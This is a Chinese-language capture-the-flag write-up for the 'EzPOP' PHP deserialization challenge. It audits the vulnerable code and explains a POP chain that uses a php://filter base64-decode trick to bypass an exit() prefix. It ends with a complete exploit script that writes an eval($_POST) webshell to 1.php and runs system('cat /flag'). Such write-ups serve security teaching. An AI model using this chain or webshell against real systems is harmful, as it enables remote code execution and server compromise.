[EIS 2019]EzPOP
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
代码审计
Class A
__construct
方法,接收了三个参数并赋值。
cleanContents
方法:
array_filp()
反转数组中所有的键以及它们关联的值
array_intersect_key()
函数用于比较两个(或更多个)数组的键名 ,并返回交集。
这里的$object
可控
getForStorage()
方法:
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
调用了cleanContents
函数,并将返回值进行json编码。$cache和$complete
可控。
save
方法:
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
调用了getForStorage
函数,且$store
调用了set方法。注意,我们发现该方法是在B类中,我们只需要令A::$store
赋值为new B()就能调用B::set()
,也就完成了两个类的联系。
析构函数:
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
只需要让A::$autosave
赋值为0,就可以调用save函数
Class B
getExpireTime函数:
返回 int参数,相当于是格式化。
getCacheKey函数:
拼接字符串。这里的$options
是一个数组,可以控制,$name
也是一个可以被控制的变量。经过观察,这里的$name
来自于B::set()
传入
set($name, $value, $expire = null): bool
serialize
函数:传入的data参数将会格式化为string类型,且$serialize
参数可控。
set
函数:
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
$filename
调用了getCacheKey函数,所以$filename
最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录。
注意:
$data = $this->serialize($value);
$data
经过serialize函数处理,这个serialize函数是B类自己定义的,这里可控,可以传入一个函数方法
接下来是数据压缩,我们并不需要,令options['data_compress']=false
即可绕过
重点来了:文件写入
死亡exit()绕过
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
我们发现写入文件的数据data是拼接在exit()之后的,也就是死亡exit()。那么P神对此有过讲解:
由于file_put_contents
函数是支持伪协议的,我们可以使用php://filter
流的base64-decode方法,将$data
解码,利用php base64_decode函数特性去除“死亡exit”。
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
这里的sprintf是12位数字,传入的$expire=0即可。
php://filter/write=convert.base64-decode
来首先对其解码。在解码的过程中,字符<、?、;、>、空格
等一共有7个字符不符合base64编码的字符范围将被忽略,最终得到:
php//000000000000exit(待执行命令的base64)
由于base64算法解码时是4个byte一组,我们需要补三个字符来使其正常解码。
构造POP链
构造文件名:
$filename->options['prefix'].$name
$name->A::$key
构造payload:
$data->$value->A::$contents->$complete和$cleaned
POP chain:
file_put_contents();
B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize();
A::save() + A::getForStorage() + A::cleanContents();
A::__destruct();
最终EXP:
这里就直接使用Ho1aAs师傅的
<?php
class A{
protected $key;
protected $store;
protected $expire;
public function __construct(){
// 进入A::save()
$this->autosave = 0;
// B::set()入口
$this->store = new B();
// 初始赋值
$this->cache = array();
// 写入webshell的文件名
$this->key = '1.php';
// payload
$this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
}
}
class B{
public $options = array();
public function __construct(){
// 绕过死亡exit使用filter伪协议
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
// 绕过数据压缩
$this->options['data_compress'] = 0;
// 执行一次base64解码,消除前面的两次编码
$this->options['serialize'] = 'base64_decode';
// 补齐sprintf
$this->options['expire'] = 0;
}
}
echo urlencode(serialize(new A()));
获取flag
传参:?src=&data=payload
POST:1=system("cat /flag");
参考文章:
https://blog.csdn.net/Xxy605/article/details/120641208
https://blog.csdn.net/gd_9988/article/details/106111902